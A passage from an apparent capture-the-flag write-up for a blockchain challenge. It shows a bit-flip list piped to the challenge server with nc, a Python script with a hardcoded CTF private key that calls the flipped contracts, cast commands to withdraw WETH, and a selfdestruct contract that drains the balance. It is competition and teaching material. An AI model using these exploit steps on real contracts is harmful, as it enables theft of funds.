10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xf2d4766ad705e3a5c9ba5b0436b473085f82f82f:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x914b432dad9c29c081f93d84790919335bcbd33f:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xe825363f3bedabc95b2a9d42dbc73ec7b82b57d3:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xb203e1170a30e68dc5b20aac08aa42619842c79e:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x21346283a31a5ad10fa64377e77a8900ac12d469:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x0000000000a39bb272e79075ade125fd351887ac:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xd69b0089d9ca950640f5dc9931a41a5965f00303:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xd19d4b5d358258f05d7b411e21a1460d11b0876f:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x22650fcf7e175ffe008ea18a90486d7ba0f51e41:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x64192819ac13ef72bf6b5ae239ac672b43a9af08:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xdca6ab9508d28c0eb7b120b8252041edcb56753f:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xcafe1a77e84698c83ca8931f54a755176ef75f2c:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x4399f61795d3e50096e236a6d31ab24470c99fd5:5:7:8:9:14:17:18:22:25:26:28:32:33:36:37:38,0xabea9132b05a70803a4e85094fd0e1800777fbef:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x75fbd58ba18c80955bbb4c9fd46b83dc6bb68980:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x95fc37a27a2f68e3a647cdc081f0a89bb47c3012:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xf4e11b89519eccd988a56749f1c64ad9bfe0298f:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xa646e29877d52b9e2de457eca09c724ff16d0a2b:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xf8092d0679cc835b3d51d46163e649f2de5c680d:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x43ab622752d766d694c005acfb78b1fc60f35b69:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xcddf488f1c826160ee832d4f1492f00cf8557ff6:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x92982bccb608936be803fad34c03414e888ee1de:5:7:8:9:14:17:18:22:25:26:28:32:33:36:37:38,0xebec795c9c8bbd61ffc14a6662944748f299cacf:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xffc19fe32623c6aeccdbae37f631589a45196385:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xd135913f966d874078822b06b50a645a665d9f6c:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xd6a062cae6123c158768a5c444ca0896cc60d6b1:5:7:8:11:12:13:14:15:17:19:20:21:22:23:24:25:27:28:29:30:31:32:33:37,0xf17d119effa0dcbe24d3fa346860be851150358f:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x21e27a5e5513d6e65c4f830167390997aa84843a:5:7:8:9:14:17:18:22:25:26:28:32:33:36:37:38,0x3bdc69c4e5e13e52a65f5583c23efb9636b469d6:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xa9d1e08c7793af67e9d92fe308d5697fb81d3e43:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xb55703d907c93cfc1632c994a0202e42877c07ff:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xdc81b4b18881535ae033d924e6c9719348bdd3b8:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x2a0c0dbecc7e4d658f48e01e3fa353f44050c208:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x27fd43babfbe83a81d14665b1a6fb8030a60c9b4:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x756d64dc5edb56740fc617628dc832ddbcfd373c:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x15c126f55a48e4fee27f864d477e8f175ce80284:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xc7cd9d874f93f2409f39a95987b3e3c738313925:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x8d12a197cb00d4747a1fe03395095ce2a5cc6819:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x3d019cfecd722b76807dd2fad24376306d179277:5:7:8:9:14:17:18:22:25:26:28:32:33:36:37:38,0x36eed1a4dd70f0731dd20ef76c32345185a8a042:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xfe80804d2e3ab78a13ce90f45b2803cf9bbd1f51:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x889edc2edab5f40e902b864ad4d7ade8e412f9b1:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xb8e6d31e7b212b2b7250ee9c26c56cebbfbe6b23:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xe25a329d385f77df5d4ed56265babe2b99a5436e:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x717e889671f07ac04b243b612b2eed394ff630ca:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x5b97a1cd49754878630524298296abcad2b4cc2d:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xfb633f47a84a1450ee0413f2c32dc1772ccaea3e:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x23ea10cc1e6ebdb499d24e45369a35f43627062f:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x80d2d68e38472da11cf7f1cc6465ddcfa8d1f778:5:7:8:9:14:17:18:22:25:26:28:32:33:36:37:38,0x3b454e25cc00d3b0259df105900e39365bb7f321:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xaa06a9e8c44db313725f658a25f60df0ae5c1f72:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x4f2083f5fbede34c2714affb3105539775f7fe64:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xb8901acb165ed027e32754e0ffe830802919727f:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xbd02c51150a4ab6ce97b9de2025644594f3e75b8:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x8d501afb7dd7dada424b8c1f331b5909e44a043f:5:7:8:9:14:17:18:22:25:26:28:32:33:36:37:38,0xcaacf7d9e40d0f4db66419d678a8d46de74b0c02:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x910cbd523d972eb0a6f4cae4618ad62622b39dbf:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xd39988dd92ffd85b9ee2b6d05148140b0b9cdee6:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x3ad2fcd6a2ce246e890826c9bcca20f06ce11083:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x12da64f9c7b4e9a73f9e177cd18c40cf307306f4:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xf42c318dbfbaab0eee040279c6a2588fa01a961d:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xc1ebd02f738644983b6c4b2d440b8e77dde276bd:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xf5c9f957705bea56a7e806943f98f7777b995826:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x1bf68a9d1eaee7826b3593c20a0ca93293cb489a:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39")' | nc cosmic-radiation.challenges.paradigm.xyz 1337
Note: We flipped 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2:20703
(WETH) manually on the balance checking in withdraw, changing lt to gt opcode.
Send transactions to the flipped addresses.
attack.py
import os
import subprocess
f = open("addr_list.txt", "r")
addr_list = f.readlines()
rpc_url="http://cosmic-radiation.challenges.paradigm.xyz:8545/0c47e64f-6ca9-4bcb-8f78-138b68e17b09/main"
priv_key="0xa0d1056e5dcc70f1c0935569d2f1ad1824d3a0d732a4c12edee465eece7fa25e"
def attk():
# cast send $beacon_addr --rpc-url $rpc_url --private-key $priv_key "x()"
for addr in addr_list:
addr = addr[:-1]
print(addr)
try:
x = subprocess.check_output(["cast","send", addr, '--rpc-url', rpc_url, "--private-key", priv_key, 'x()'])
except:
continue
attk()
Note: This takes time; creating a contract to call the targets is MUCH better and can be done instantly.
Don’t forget to withdraw WETH we manually flipped too!cast send $weth_addr --rpc-url $rpc_url --private-key $priv_key "withdraw(uint256)" -- 3202617056036948921024512
Send balance to challenge address via selfdestruct.
Solve.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity >=0.6.2 <0.9.0;
contract Solve {
constructor(address target) payable {
selfdestruct(payable(target));
}
}
my_addr=`cast wallet a $priv_key`
cast balance $my_addr --rpc-url $rpc_url
forge create --rpc-url $rpc_url --private-key $priv_key -C . Solve.sol:Solve --value 42191882736096474904406008 --constructor-args $target_addr
Finally, with this power, our team got 42,191,882 ETH in total.
Since the release of our new Smart Contract Security Testing Guide Checklist, we’ve also planned to release more plugins to detect the common issues from our security checklist to cover the whole checklist. The tools we will choose to implement are still a secret. For now, you can use our checklist and the built-in detectors and rules as a guide.